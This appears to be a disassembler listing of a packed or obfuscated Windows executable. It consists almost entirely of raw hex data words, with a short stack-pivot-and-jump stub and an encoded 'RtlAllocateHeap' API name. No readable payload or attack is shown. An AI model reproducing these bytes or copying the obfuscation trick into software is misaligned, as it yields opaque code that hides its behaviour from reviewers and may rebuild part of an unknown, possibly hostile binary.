9A858D06h, 0FF0630A0h, 0DBD8BD0h dd 81062B26h, 1184C7h, 8C78300h, 2B51B58Bh, 0F787062Bh dd 8B9h, 8BA4F300h, 2B2B51B5h, 8E858D06h, 0FF062F41h, 8DC361D0h dd 33214285h, 0D858906h, 0E9062B12h, 39h, 6F06FFB8h, 0Dh dup(0) dd 49AE900h, 85680000h, 0E9063323h, 0FFF85D30h, 3323E668h dd 5D26E906h, 4D68FFF8h, 0E9063325h, 0FFF85D1Ch, 8804401Dh dd 0D8D4E86Fh, 6BA799BFh, 0B773550Ch, 0C03C0658h, 159C2B5h dd 0B6A4C33Fh, 62F7108Ch, 345A25Eh, 1C33E925h, 0D8E27EF0h dd 0B6151392h, 7A6C99DBh, 73BE586Dh, 0D4F23B57h, 4E7D981h dd 1F0A4A49h, 0EBC07FF1h, 0F00C1294h, 486EE639h, 0E7C1801Fh dd 81F17826h, 98D5E36Ch, 0EF8AC6D8h, 0A6349873h, 0EC6D3F37h dd 29457155h, 0DD776BD1h, 2F1h, 28160772h, 8EE9C05Ch, 535AF6C8h dd 56B54E37h, 855E5AE6h, 0EBEC1AECh, 51F4004Fh, 0F48AC614h dd 0E3BEAD6Ah, 0DC62497Bh, 0DF9EA32Dh, 0FE9D6BD5h, 0EAF66147h dd 68843E40h, 73E42535h, 0D261EE03h, 3EB73947h, 54CA6884h dd 2B8A3B55h, 0BDDD76A9h, 608DFD6Eh, 7764E9F7h, 71B7C82h dd 0A4E4DD8h, 0AAAAF534h, 7DF7108Ch, 0EF56295Bh, 0FC2F53E8h dd 2EF55h, 6D570400h, 3D0356B1h, 8CB2A6C1h, 587CF710h dd 251F435Ch, 40DD9CE9h, 8FE8241Eh, 0DE39F5CFh, 2C4B4779h dd 0C4961234h, 0E3971927h, 6EEA92D8h, 0D21F6F4Ah, 0FE357785h dd 0D6488ADEh, 0A6381A89h, 0AFD13E32h, 0A2B4D37Eh, 5F031C98h dd 0BD4A8665h, 4C6D2770h, 9803214h, 8C4A35F7h, 28EF45Fh dd 0F6670000h, 0A2B9D6D2h, 530966A2h, 1F56B16Dh, 0BCA2FD39h dd 3CE30E8Ah, 985BFA3h, 5E5A6CEEh, 0E8241841h, 37F3D58Fh dd 30BAC665h, 4592D8E3h, 1F6FEBCFh, 357785D2h, 248ADEFEh dd 0DAD3F569h, 69E4C75Bh, 2611372Ah, 207582D7h, 0F08009A8h dd 6D275B62h, 9350928h, 7763785Dh, 1BC01h, 0E271CD00h dd 0EBC054D6h, 75C1A594h, 3A01D181h, 515059C1h, 77DA3117h dd 7B52DCE8h, 3B2794EBh, 93B5AFF2h, 0F2815944h, 0A6BC95C9h dd 5FAC90C9h, 1514CAC3h, 3ED78BA5h, 271C4B3Eh, 0B912AE42h dd 0FDE48692h, 819994EBh, 729EC965h, 8AC6E3EFh, 6EECAB86h dd 0FBE08A54h, 85956D3Eh, 0C0CF8269h, 0BE53B695h, 3A5657E7h dd 6D3E41ACh, 0EE3D1B5Dh, 11FACE93h, 8D21E55Eh, 475BF7D1h dd 0D29CCABEh, 8A776C5Eh, 2Ch, 0D21F6F54h, 6F510685h, 890493BEh dd 31FECD0h, 0EAE3068Ah, 0FC628AC6h, 2913A12Fh, 0D8596D3Fh dd 0C2BCB6E4h, 9860776Bh, 62000000h, 0AE1C781h, 3299A3B7h dd 785375EFh, 89052325h, 0EBDB171Fh, 84A2A294h, 22043C5Bh dd 0F47682C9h, 896B143Bh, 0CEB47591h, 5582EF5Fh, 26F8DB47h dd 0FB64FA75h, 5780BA9Ch, 63F02538h, 32AE1955h, 46D8334Fh dd 0DA7C9B47h, 0DCE152E0h, 83504A2Fh, 127C8h, 0B58FCC00h dd 53B1E79h, 0D4EA6E89h, 0A084BFD8h, 6D570B64h, 89544B1h dd 57B06C56h, 0A6C13D07h, 0F4138FB1h, 0FC5E5A7Ch, 0E5AF416Fh dd 0A6A292D8h, 0E7D98182h, 0B294CC2Bh, 0FA357625h, 0E900641Fh dd 715E4220h, 8F7E4812h, 4D15F070h, 174D907Bh, 92799531h dd 0F733154Fh, 0D2B2D68h, 0F869A0BEh, 90B2A888h, 415CEB74h dd 0ADBB2418h, 94EBC003h, 0AF21E876h, 8AC692A2h, 87024DCDh dd 222DE9D3h, 71E78997h, 849A6D3Fh, 71FD8B05h, 540C6D3Fh dd 3596B6B1h, 435E8925h, 0BFC3281Ch, 716A0410h, 31F6D3Fh dd 0A7BBD48Ah, 84034E9Dh, 143FEED0h, 74h, 6D027102h, 313437CBh dd 0D4EA6EC9h, 0B1A26BF7h, 95A32C41h, 8ADEDEC7h, 0ECAB342Ah dd 0C4575668h, 5CEEFA89h, 316D273Eh, 304C6AEAh, 88AEA6F9h dd 9471F30Ch, 0D2DFEC0h, 43B61AF1h, 48141DD9h, 6DE7CBBFh dd 0DD811C4Bh, 8F7E00EBh, 9ABCB4D3h, 30164E4Dh, 9CD72AF9h dd 0BCA153B8h, 4462E2C8h, 13352F48h, 0A91B8h, 5E810000h dd 0FACC92F1h, 0FA800911h, 3E8DC81h, 49A284BCh, 705B6DF2h dd 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h, 97744A0Eh dd 0D8331548h, 4EC8308h, 89241489h, 4C281E2h, 83000000h dd 148704EAh, 52685C24h, 89000071h, 27682434h, 89000073h dd 0EC81243Ch, 4, 0B8240489h, 5B42A69h, 8708F5BEh, 58C63103h dd 243C8B54h, 5004C483h, 8B8h, 52F80100h, 0BAh, 89C20100h dd 0FF585A32h, 835F2434h, 348B04C4h, 0E0895024h, 405h dd 40500h, 4870000h, 0A9E95C24h, 0F5FFF858h, 0B8DD3344h dd 4B9000FEh, 332699B8h, 0FFC50306h, 4A07EBE0h, 0CCDAC039h dd 5F483100h, 0BE09252Ah, 0E4FF7731h, 6F3D031Ah, 0EDB2D079h dd 47B61F4Dh, 3310262Ch, 0F02E934h, 0E74E1A62h, 5B501767h dd 812B352Ah, 1C0BB37Ch, 0DB403261h, 53FB018h, 6E843h dd 0FAA40000h, 545A0F9Eh, 10E9h, 41575E00h, 815138C8h dd 839B0BABh, 4DFA0D45h, 0B70F5B82h, 27C381D6h, 8000005Bh dd 0BE7FC6h, 60000000h, 13E9h, 7FA6BF00h, 6ED57299h, 1ED247C3h dd 0B1C2E2C1h, 0A7E4F3E0h, 61DFBF0Fh, 0E91E34FFh, 6, 325BC362h dd 66588908h, 0EB4EE981h, 757EE881h, 0E9800004h, 0F0E88156h dd 0F3AFA03h, 0F081C9BFh, 7782D6DFh, 0AE9h, 562FB600h dd 0C2303E6Eh, 8931FDE7h, 7CB23304h, 0EE83A8B1h, 81616004h dd 0FFA5BCFEh, 1C850FFFh, 66000000h, 4298D981h, 40E9h dd 0EB65BA00h, 9D83B334h, 0DBF164AFh, 2009E5E9h, 0E84F58A1h dd 11h, 0CD1320CBh, 5848DA32h, 0C4D8B71Ch, 560CB026h, 8A0F533Dh dd 0 dd 6DE95A5Ah, 0D8FFFFFFh, 983BCDF2h, 0DC2F1C30h, 138D8D36h dd 89063329h, 2B1935B5h, 0E18D8906h, 6A062B0Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0C9EC357h, 9D89A844h, 62B28A9h, 2BA9B58Bh, 85C7062Bh dd 62B21E1h, 6AD4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 91C35141h, 481403Dh, 0AE974h, 46CE0000h dd 1A98625h, 5B2AFB81h, 0E585C7F9h, 62B2Bh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0EC3AC357h, 0D4807909h, 0B6FDCD74h, 15B5FF3Ch dd 29062B1Dh, 2B0FF185h, 3195FF06h, 0B8062B27h, 4151E403h dd 95FF006Ah, 62B2945h, 0FEBC08Bh, 6B534FE5h, 0CB39ED64h dd 39444B1Fh, 0E99AC61Ch, 38h, 79FD9168h, 416C7452h, 636F6C6Ch dd 48657461h, 706165h, 140000h, 8 dup(0) dd 115BE9h, 2B8A6800h, 45E90633h, 68FFF856h, 6332CD7h dd 0F8563BE9h, 2F0A68FFh, 31E90633h, 68FFF856h, 6332FDBh dd 0F85627E9h, 337568FFh, 1DE90633h, 68FFF856h, 6333405h dd 0F85613E9h, 344468FFh, 9E90633h, 68FFF856h, 6333563h dd 0F855FFE9h, 35FC68FFh, 0F5E90633h, 68FFF855h, 6333661h dd 0F855EBE9h, 381B68FFh, 0E1E90633h, 68FFF855h, 633391Eh dd 0F855D7E9h, 0C9FB60FFh, 99AFB2CDh, 685E021Dh, 341053ACh dd 81BB9FF8h, 9C39F805h, 0EB0480BAh, 3A555173h, 88E72325h dd 6832EEC8h, 0E93BB5C3h, 0CA4E92D8h, 0E1C781F6h, 9BBDB70Ah dd 5074ED30h, 6E5B9807h, 2ADF911h, 308F88Bh, 29C66874h dd 0A7BB94EBh, 0A509FD66h, 254D56A3h, 0EF587CF7h, 3C34A02Eh dd 0DA9B11Ah, 0B11A2C32h, 0D7C20DA9h, 50276807h, 76480E40h dd 106FD3DAh, 5FB8744Eh, 95E8C3E5h, 3039F5D3h, 9924B3C0h dd 0B34CFE0Ah, 0DB9D94EBh, 0E9203EFDh, 0C6AD52E7h, 0A22D2D8Ah dd 6E7A73E7h, 6D3EB1DCh, 0BE0DA9B1h, 872937A0h, 0FA6D3EB1h dd 7BD6A564h, 0B12EC0ECh, 3F236D3Eh, 0B134C2CEh, 0C77E6D3Eh dd 4E9BD703h, 4743776Ch, 8F000000h, 54D6E271h, 2994EBC0h dd 0E425E6E2h, 2642A7D3h, 0E90676E7h, 775F527Eh, 0EB368AC6h dd 0E47A5173h, 0DF6D6348h, 956D3E47h, 2FC1EF7Ah, 226D3E47h dd 7054CD3Ch, 0B789CFCAh, 0C4C3CA54h, 776C60AAh, 0FA52h dd 0C7817C00h, 0A2093F22h, 54AB009Ch, 7CD33802h, 0F60E9C31h dd 68A1D690h, 92795F19h, 0F733154Fh, 0EB5A3AE9h, 0F95E3D94h dd 535AE4C7h, 0F632144Ch, 263ADF99h, 1BB7CB20h, 3E3383B0h dd 99768391h, 6758AC6h, 7BED279Fh, 961594FBh, 0AD1D0C88h dd 56D8E473h, 2B6D3EF6h, 0F6872937h, 64FA6D3Eh, 6C719FC8h dd 6F730C37h, 3F182A30h, 6E52418h, 8DD0CF18h, 71CE50BBh dd 3FD2DBEDh, 3017FE60h, 83091EDEh, 67807C98h, 0CFBBC9F3h dd 90505B6Fh, 0E840843h, 520B0000h, 65DBA76h, 0B7ADCAC6h dd 7BFA1591h, 1046A15Dh, 0D087F22Eh, 0ED291347h, 2FEC892h dd 4C487CE5h, 9B173133h, 6C1E2AC1h, 0E192D8EBh, 2714F63h dd 3F720838h, 526AEDB4h, 4445E179h, 0E723253Dh, 0D3441D78h dd 167CB4D6h, 48A33FFBh, 0A8A8F736h, 9605128Eh, 71993AB3h dd 0A3BD8A0Ah, 795A9FA5h, 6FC4C2CBh, 0F685D21Fh, 17292C6Bh dd 0EBC0A749h, 4544DA94h, 0C6EA264Bh, 5C02598Ah, 0BECA816Ah dd 6D3F2A0Ch, 21BDD941h, 7384DBB6h, 3F2ACB65h, 4A0BE6Dh dd 83129BA7h, 1772C1CCh, 0A7D32E08h, 2ADC6A66h, 2A2D6D3Fh dd 0FF62B912h, 320BE2C9h, 0FE079B4Eh, 0C392DC0Ah, 0CC4A776Bh dd 1F000000h, 26CA6470h, 21336D3Fh, 7D25992h, 651D50ABh dd 24194529h, 7B1F8E2Ah, 0AE1C781h, 4E99A3B7h, 0F33A0E53h dd 0DB7FAC20h, 560E94EBh, 4C58E770h, 6B143BA2h, 0C26C78D7h dd 0B76B143Bh, 209E0FABh, 129CA837h, 676B143Bh, 75EF32FBh dd 7BCB7853h, 3F5AE976h, 84CB2004h, 143BF678h, 7B978B6Bh dd 1EF31EB2h, 3F627539h, 985211Bh, 1443B000h, 0DDB8608h dd 38A7BB73h, 0C7C3055Dh, 668CB6A8h, 505B8B96h, 37BF9645h dd 5600000Dh, 0A8C7C305h, 0F81793B5h, 49A66264h, 95F22E0Eh dd 0F23FFBCDh, 0FACC920Fh, 4B7DE13Eh, 152F304Fh, 0E0C67E99h dd 0CBD97624h, 92D8EC21h, 81F8D054h, 944E34D9h, 0C1783C24h dd 560E69A5h, 8120B470h, 0A3C22C7h, 0AE7D99A1h, 4872E4A3h dd 20063E41h, 0C06CFAE4h, 0DB9D94EBh, 6EE601FDh, 0C0801F48h dd 0B47505E6h, 0FCDA9AE1h, 0A367DC2Fh, 0B773550Fh, 96DA4620h dd 0CEFE7Dh, 6FD80000h, 7785D21Fh, 8AC6D5EEh, 55A8AEEDh dd 0D4A33F09h, 1437F339h, 0BD60A9BBh, 1D57329Dh, 0AD23F23Bh dd 6D3F761Fh, 22D8AC55h, 0C0C9F367h, 6B93ADB9h, 965177h dd 717D0000h, 0B0794F12h, 0EBC07100h, 11057094h, 260641AEh dd 67B6B659h, 2845B5A6h, 39B891BFh, 2CBB8AC6h, 0F7D4E871h dd 1CF37D6Bh, 5B866D3Eh, 50EE3D07h, 3C185B34h, 0F4302ECDh dd 0EE2EC79Bh, 0E27B4CB1h, 0D09D6E8Ah, 0B8C41360h, 7313E701h dd 1597A530h, 0F4674237h, 0EE705B7Dh, 199C0D0Dh, 0F56A8501h dd 0FB4BF8D3h, 4FDA69F6h, 42378F21h, 0AD5CC267h, 6F1E9A23h dd 5E028179h, 20A34D5Bh, 48D67995h, 203EFD2Ch, 1F2FC8B7h dd 0C94F3F5h, 0DD32219Dh, 24000008h, 85D21F6Fh, 0C6D97E77h dd 0A209118Ah, 3F39802Eh, 572BCA6Dh, 6BD73F2Bh, 17E777h dd 71E30000h, 1D7A4C12h, 97AB0044h, 0C0EC7A16h, 75DE94EBh dd 0FFFFFBBDh, 0D21F6F6Dh, 0F15E7785h, 69F18AC6h, 42C0CF82h dd 0A1961858h, 74028E7Fh, 3E6D3F93h, 5B174307h, 79776B30h dd 9B2CDEEAh, 0E1AD6D3Fh, 0BCAA8192h, 956C833h, 3F3471FBh dd 931A046Dh, 51006h, 0C24EC000h, 6BF4F949h, 0C68DF85Dh dd 0B1A4E38Ah, 0EB223C8Fh, 0CAC91608h, 8679B096h, 7442ED1Ah dd 0DE0272D7h, 0E45D38B2h, 0B1CD4DC4h, 0AED97B26h, 62469991h dd 7A19A4ABh, 730FDCFAh, 0DAEF16BAh, 1806DAC9h, 3D3282B3h dd 7F8D8692h, 0B1ECC33Eh, 971697A9h, 7415C8Bh, 0D48B7EE2h dd 0FC3854F0h, 18223453h, 237EAFB3h, 29FD0721h, 0C2004D0Fh dd 0B043E11h, 0D28B0000h, 86DD3AF6h, 372D4A46h, 0FB7A9511h dd 90C621DDh, 500772AEh, 6DA993C7h, 827E4812h, 0CCC8FC65h dd 1B97B1B3h, 0EC9EAA41h, 6192D8EFh, 0C781CFE3h, 0E9590AE1h dd 0CC4D5B84h, 0AF8AC6F5h, 73586AF0h, 0E37F3EEFh, 0B7AAE974h dd 0E5243A91h, 783C59Ah, 5A9E77E8h, 0DCA210ACh, 97A9AC8Bh dd 418E2A34h, 0E5240242h, 0C730BA16h, 1AA86D3Fh, 56D3FD7h dd 12FB8B5h, 731579E4h, 0B814F76Bh, 6743042Ah, 0C1EDD160h dd 713F9DA5h, 2159h, 1F6F8500h, 9A7785D2h, 0B58AC6E7h dd 9C0B46A5h, 94CA92B4h, 7EE2BDA4h, 2EDF6348h, 1327h, 1F6F1300h dd 9BF685D2h, 850B82C6h, 8AC6D8ECh, 0AA2CFF63h, 53E1C781h dd 4402ADD5h, 33C6895Ah, 5A00000Ah, 0ACCBC701h, 0FC1B97A9h dd 4DAA6658h, 99F6320Ah, 0F603FFC1h, 0FEC09603h, 4F79E502h dd 19233453h, 0E4C2829Dh, 0CFDD7228h, 92D8EF3Dh, 6FFCD450h dd 0F685D21Fh, 0DFCD89Bh, 0C6EFDA83h, 1EED6D8Ah, 6BA781C3h dd 0F2696C7Dh, 0ED027155h, 9332762h, 9EC39CA2h, 0F03941AAh dd 46AB1B12h, 6D660B19h, 0E675584Fh, 0B56D50DAh, 0F4352558h dd 7FC22931h, 2128E4D8h, 0A4339CD1h, 795272E9h, 8DA828E1h dd 0AC469823h, 0B0E6BAE1h, 0B8216FBh, 0B715F668h, 52D80F29h dd 93C9C463h, 0C9C05EADh, 343E6C50h, 0E843CAADh, 18Bh dd 521271EAh, 28B9774h, 34CA111h, 0C6EF48F5h, 0A8031F8Ah dd 4D73E6A5h, 6977E07Eh, 6D3F2FC7h, 1A65A4BAh, 0B4D37C5Ah dd 0AF139ABCh, 650715A0h, 846D3F2Fh, 120CEFD1h, 0D9CC849Bh dd 3F2F21CBh, 0AECA546Dh, 69628F5Dh, 0D69155F2h, 92C615F6h dd 570C5FACh, 1C15FC73h, 0E4C28228h, 13B1C7Bh, 4E4DDA88h dd 74DB3016h, 6275C668h, 0BA7BB46h, 30C57F82h, 0FB1AF95Ch dd 2DFE1AA6h, 0C4E0633Eh, 3E525BE7h, 7EAF5813h, 0B0F6CA73h dd 0FD1A96B0h, 0DD8E5D7Bh, 0BCDB0471h, 0EA65A49Eh, 0D5640CDEh dd 9D19013Fh, 88D71C6Ch, 8ABC9EFDh, 0D56452DCh, 0F23B273Fh dd 46EC315Fh, 206F21F8h, 4F9B99BDh, 0B9027FBAh, 11A02413h dd 71E98C7Dh, 59C8B79Ah, 3DA537FCh, 0B0B0CF3Eh, 7BFD1A96h dd 90428E5Dh dd 2931F8F7h, 35DBDE33h, 831F7A91h, 25398467h, 25D8C823h dd 191C8E61h, 32C78125h, 7059841Bh, 29E501B0h, 2C9CAFBFh dd 0E65D4BCh, 7D98C2C1h, 3827985Bh, 42A9C5F0h, 0F611CD3Ch dd 5D73587Eh, 3B9DFA83h, 0B86153Ch, 809E6D57h, 9D1D54D6h dd 5631293Eh, 52CBC204h, 0CD38386Eh, 432D515Dh, 74B0CC02h dd 0D07F591Bh, 0D19EAEB5h, 0DD712BD9h, 0CC5F4ECFh, 0CB112F9Fh dd 0F8DC97E4h, 1E200F13h, 0C5BF766h, 24C6D261h, 0D53E9D9Dh dd 768B22AFh, 81DC1FDCh, 4049E5DBh, 0B0CAD530h, 61F99420h dd 53CFAE5Fh, 7ACC57h, 71AA0000h, 97745212h, 0A111028Bh dd 974034Ch, 5080FCEAh, 444CBDCCh, 8AC61FC5h, 9A0956C8h dd 3305E32h, 0D0A36A28h, 9FB10E7Dh, 2C31FF93h, 89BFA2FDh dd 0F4FD535Eh, 0E81597A5h, 0F6686D3Eh, 0EB233789h, 3E9F53DDh dd 9C38266Dh, 4946B16Dh, 0C98CFB9Fh, 0F8DC9753h, 5D1F058Fh dd 3E22BD4Fh, 324ED06Dh, 32FE4AFBh, 50FF1B2Dh, 3E22A244h dd 2CBBA76Dh, 0F0DBED71h, 7F63BF6Eh, 25E1C781h, 309FD424h dd 0C6DE2924h, 95C25C8Ah, 54D076E6h, 0BF98D805h, 0E968A19Bh dd 1793B5AAh, 8E5D67F8h, 0D7006DDDh, 5055D48h, 6E3AE425h dd 6FD84B49h, 0BB72EFA1h, 1214F415h, 0A4071B73h, 0FEDAFAA9h dd 26B23C48h, 5BC76742h, 16350FECh, 8C31BBC9h, 0DA446742h dd 9C2FBDD3h, 0C0306742h, 1D1824B3h, 70796FB2h, 21CF1DEEh dd 0D07995CAh, 0A51BA8Ch, 0F5997254h, 3DE1887Ch, 48088712h dd 0CACE606Eh, 0C1EF7995h, 7995CA2Fh, 63FF3C22h, 0A1CDB1AAh dd 6B14E3C5h, 2279h, 1F6F6500h, 9BF685D2h, 212CFFD9h, 0EBC09913h dd 0D672EC94h, 0E758B9D7h, 0EB778AC6h, 204900h, 6F290000h dd 0F685D21Fh, 0EBC040EAh, 0BA253594h, 0EBC01CAEh, 20E97194h dd 0D86E0311h, 79E18AC6h, 0C7813492h, 0ADDF53E1h, 83504402h dd 699C8h, 5D67F400h, 2D1346A1h, 0FCC296F1h, 486CE700h dd 152F334Ch, 30AD6C99h, 7F98142Eh, 0CE29E5DFh, 1C7BB789h dd 0D4860224h, 0F3872937h, 7EFA92D8h, 8E02715Ah, 4C1E2C6Ah dd 591426E7h, 0F25D92E2h, 0C6346FE6h, 0BF78E68Ah, 0F7A35F11h dd 370C0AEh, 7E1DC8D4h, 0ED30BD48h, 0E6785375h, 0AA6E1D4Ah dd 0D5A9A06Dh, 75E6B574h, 517FE805h, 0BBA58BFCh, 45408F93h dd 8EE92503h, 90C4C3D6h, 130EA0AEh, 0DF43BFDCh, 0DA8B3143h dd 0FB2818CAh, 60950h, 0EDD78400h, 0BD83D631h, 0C322641h dd 0D8FC7790h, 0A59FC3DCh, 0C05D1C69h, 0F68A49Eh, 5EB9754Fh dd 0ACCBC7F9h, 441692B4h, 0F41799A7h, 0EE6A92D8h, 0E1C781CAh dd 2ADF353h, 0A4AF7C44h, 5CAh, 70AC98C5h, 807C4017h, 0D3CFF167h dd 1F9BBDB4h, 0A8645E00h, 59019A5Dh, 0E4CAB67h, 0BA9FF834h dd 6BED0A86h, 648B514Dh, 0D8F4D658h, 95ADAB92h, 0AE1C781h dd 0FD084847h, 0B27C418Eh, 0C6C76330h, 0ADBBE555h, 94EB1403h dd 34CE876h, 21E8D284h, 23B4022Eh, 41D98ADEh, 7F74C445h dd 7C35C4D0h, 0F558730Bh, 496045E7h, 8A263867h, 601DAB21h dd 75EC6749h, 3E257853h, 0ADBD9DDDh, 67832CF2h, 92768F84h dd 463A3BDFh, 39B54E18h, 0D3E18C71h, 67491F59h, 2EFB322Ch dd 0C2h, 57B44EA8h, 331549E7h, 0CC5D4897h, 0EE8762Eh, 0E2718009h dd 3C8FB1A7h, 60E5EB22h, 0E78AC67Bh, 4BA0A2B8h, 701C9B37h dd 0BA372CC8h, 0F6D08A09h, 0B9B60637h, 0E8F4832Eh, 0BE257046h dd 0EAE6273Bh, 0A008543Bh, 3A2F1F52h, 0D8D3FA4Fh, 0B7984AB2h dd 0A6C25EDBh, 4BA81845h, 0EBDD811Ch, 808F7E00h, 79DB9374h dd 3FA8B6AEh, 99C6E060h, 0A0A366FAh, 0FDA16884h, 7E84A2A2h dd 258DAADAh, 0AB8BC211h, 0E2000004h, 34534F79h, 84E31F21h dd 0D532EED0h, 217EBA92h, 7E8B0739h, 6381EBBh, 0D7F16D8Ah dd 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92D8F5B5h, 71744CC8h dd 66F81C02h, 0A766F897h, 8BACh, 1F6F8A00h, 0D97785D2h dd 748ADEF7h, 0A3EE7DEAh, 74BFE2Bh, 6E2EA7A4h, 4E85A897h dd 0AEA6F930h, 71F30C88h, 5EFADC94h, 370C08Dh, 75C9C8D4h dd 0EDA8730Ah, 0EA745771h, 0DDE4023h, 5483F040h, 677DA948h dd 0ACDDC879h, 16B996A9h, 4CD25158h, 8BC39C26h, 252CFF56h dd 412h, 28E4E07Dh, 78B488CFh, 8B07391Fh, 0D7D3F56Ch, 609CA6B8h dd 0A1B92215h, 5604639Fh, 257B06Ch, 0A3A5C23Eh, 0BC530985h dd 0D8F51E90h, 0DDF57392h, 0EBC07EF0h, 0C050FE94h, 0FF4F94EBh dd 0CAD665F2h, 94EBC020h, 4CAF91C9h, 2834DBD2h, 8ADEF75Ah dd 0FD40ABB7h, 86B89E7Bh, 0D78CD86Ah, 489B4A35h, 3AD01h dd 497BE000h, 192F324Dh, 0E8DE829Dh, 0B490D32Ch, 13B1F78h dd 1CB97885h, 6B84003Ah, 0BAD5D1F3h, 867A3A5h, 0E8B26E48h dd 0F6BB3543h, 4ACE92D8h, 0E1C78176h, 0ACB8470Ah, 94EBC002h dd 4B9CEB77h, 37DA0986h, 49B9AA63h, 201062F7h, 1D7A74D3h dd 97AB0044h, 5C0EC7Bh, 88AC690h, 80C9A16h, 0A13EA54Ch dd 3D5887B9h, 0B7CB2024h, 4CBD87D8h, 281A8996h, 0EBB902A8h dd 0FBFE52F3h, 67F3DE8Ch, 3D075BA6h, 0E10E7DEEh, 0AF3A25h dd 0AB4D7AF4h, 45130F33h, 33AB4DABh, 4D4940DEh, 0AE1C781h dd 4C9BBDB7h, 0D6350B51h, 6C9D4148h, 0D88D71Ch, 94A8B14Ah dd 4381F78h, 0DB7E8A85h, 0BA8AC6DEh, 0FB8947A4h, 0B16D3F3Eh dd 0E48EBC80h, 0E2776BDBh, 89B3A7h, 2E8Bh, 1F6F5700h, 8BF685D2h dd 45895FC1h, 83D9B660h, 0D9D06EBDh, 0C6F6B2B7h, 7E4DCD8Ah dd 3EC5C452h, 93778E6Dh, 6BDF0B67h, 0FFB377h, 711F0000h dd 0AD7E4812h, 2003A28Dh, 8A4E8141h, 6244FC03h, 0D92C3289h dd 0C4274385h, 0B89FFA89h, 4D1B2784h, 94EBF6A3h, 3E4148D6h dd 74CB2006h, 51DBE9FCh, 2494EBF6h, 74629E3Ah, 94EBED87h dd 1D2B3E36h, 94EBF193h, 0F90F78E6h, 15F5952h, 0F189430h dd 0CB1FAD80h, 4A4331BAh, 0CC1B3D37h, 74B58BD1h, 2F44B4A1h dd 0E78D94A0h, 18C8AC6h, 84313479h, 793CED15h, 5F3A25E1h dd 58E6C5FFh, 2350A051h, 507EA8B4h, 4C93730Ch, 41D93214h dd 802FBA25h, 4C50FA74h, 1A938F67h, 0AD695307h, 7FF90C52h dd 93EC7259h, 0D45EFACEh, 505B1DA2h, 0F3074E9Dh, 9A000001h dd 0EC0B87C1h, 3C5B5769h, 8DEA2618h, 0D936F2CAh, 3643BF81h dd 0BE80D643h, 0F392542h, 0D9E37493h, 0A482C2DDh, 8F9DB268h dd 92D8F8FDh, 71BC9490h, 0C054D6E2h, 312994EBh, 8FB1A9F8h dd 5A7CF413h, 8CD2B15Eh, 0C0C951BAh, 11F6FBAh, 869F4BC3h dd 81200F32h, 5810DF0Eh, 6A76E17Dh, 8AC6C947h, 5CB203Eh dd 6D3ECD77h, 4621D486h, 22830448h, 0C615F612h, 0AD5FAC92h dd 0F91DD4A8h, 1C568478h, 0C0776C34h, 0C3h, 0E1C78102h dd 99A3B70Ah, 0DB919E32h, 202094EBh, 0E9D8A06h, 143B48E2h dd 421D3D6Bh, 9DE42503h, 3752FDDBh, 1EED1C20h, 4790DD2Dh dd 0EA6E2DB8h, 7D6BF7D4h, 6B143BF3h, 7F119886h, 7539775Ah dd 7EE92535h, 0A4072123h, 92E2139Ah, 0C397F25Dh, 0F30130F9h dd 730DC3E2h, 4F4A9585h, 596FF20Bh, 0ED83EC72h, 27BEB525h dd 0F817932Fh, 0AAD65C66h, 91505B90h, 0F00B42h, 0BE9F0000h dd 6AF10E8Ah, 1B415E5Ah, 0D78EE925h, 84DA35F1h, 443B4642h dd 41BD87DBh, 96123426h, 20DCE079h, 6FAB8DC7h, 0F8729EADh dd 8D92D8F9h, 1271B397h, 6DB47553h, 775110F5h, 0C052DCE8h dd 3B2794EBh, 4C04639Fh dd 812AAE6Ah, 24C6D2C7h, 5994EBC0h, 0FB46A5C1h, 65F05F79h dd 430D3326h dword_5C0024 dd 94EBC0A9h, 0E6C681DCh, 6E9F434Ah, 7A86D11Eh, 8ADEF7D8h ; DATA XREF: ___:00427A10o dd 2762ED6Dh, 0BDD6DC31h, 2270D36Ch, 94152586h, 1D5F4A01h dd 9629D50Ch, 251DBE9h, 3A246D27h, 50106F9Eh dword_5C005C dd 1B5DBA76h, 0A3E2EE3Dh, 80ED76B4h, 251F9377h, 0D78A2430h ; DATA XREF: ___:off_427B64o dd 63FFED15h, 0B4ACCBC7h, 0A0564592h, 0A94FA2A4h, 0C526263Dh dd 1D9019B5h, 4AA187BEh, 1A26B55Ah, 0ED159990h, 8BB475E5h dd 687403B7h, 0ED1599C6h, 89C8A7BBh, 21237EAFh, 0F46C8B07h dd 356F9D2h, 40000000h, 0DC817A5Eh, 84BC03E8h, 6DF249A2h dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh dd 15489774h, 8108D833h, 4ECh, 24048900h, 405E089h, 83000000h dd 48704E8h, 89535C24h, 4C381E3h, 83000000h, 1C8704EBh dd 0C895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h dd 2404895Ch, 4CDDBB53h, 3C682D4Ch, 592B7F65h, 545BD931h dd 8124048Bh, 4C4h, 5D515500h, 5D086889h, 5024048Bh, 405E089h dd 83000000h, 48704C0h, 0C8B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544660 ; --------------------------------------------------------------------------- dw 80BDh dd 519AA68h, 6E119693h, 333A33B8h, 0FFC50306h, 12B236E0h dd 4B8F9415h, 6FCEBB64h, 0DC1C966Fh, 0D8F2C908h, 5551A52Fh dd 7D09016Bh, 0DEF9650Bh, 55682041h, 8134AD72h, 0D2456565h dd 93CC8449h, 907F3A6Eh, 810FA87Dh, 0B98D8D36h, 8A06333Bh dd 0E18D89C7h, 89062B0Eh, 2B20F99Dh, 0E185C706h, 28062B21h dd 0E9000069h, 0Eh, 75D54383h, 0BA0C54D2h, 0A00166DEh dd 85C7757Bh, 62B2BE5h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 5CC35040h dd 4BD2C29Dh, 3305BD89h, 0FFFC062Bh, 2B1D15B5h, 0DF816606h dd 95FF16A4h, 62B2731h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 5FC35242h, 0BD93F15h, 0E99345C1h, 12h dd 2100F520h, 0D276976Eh, 0DD1CA97h, 3C49CECEh, 6A020Ah dd 294595FFh, 0C08B062Bh, 7B3F0FEBh, 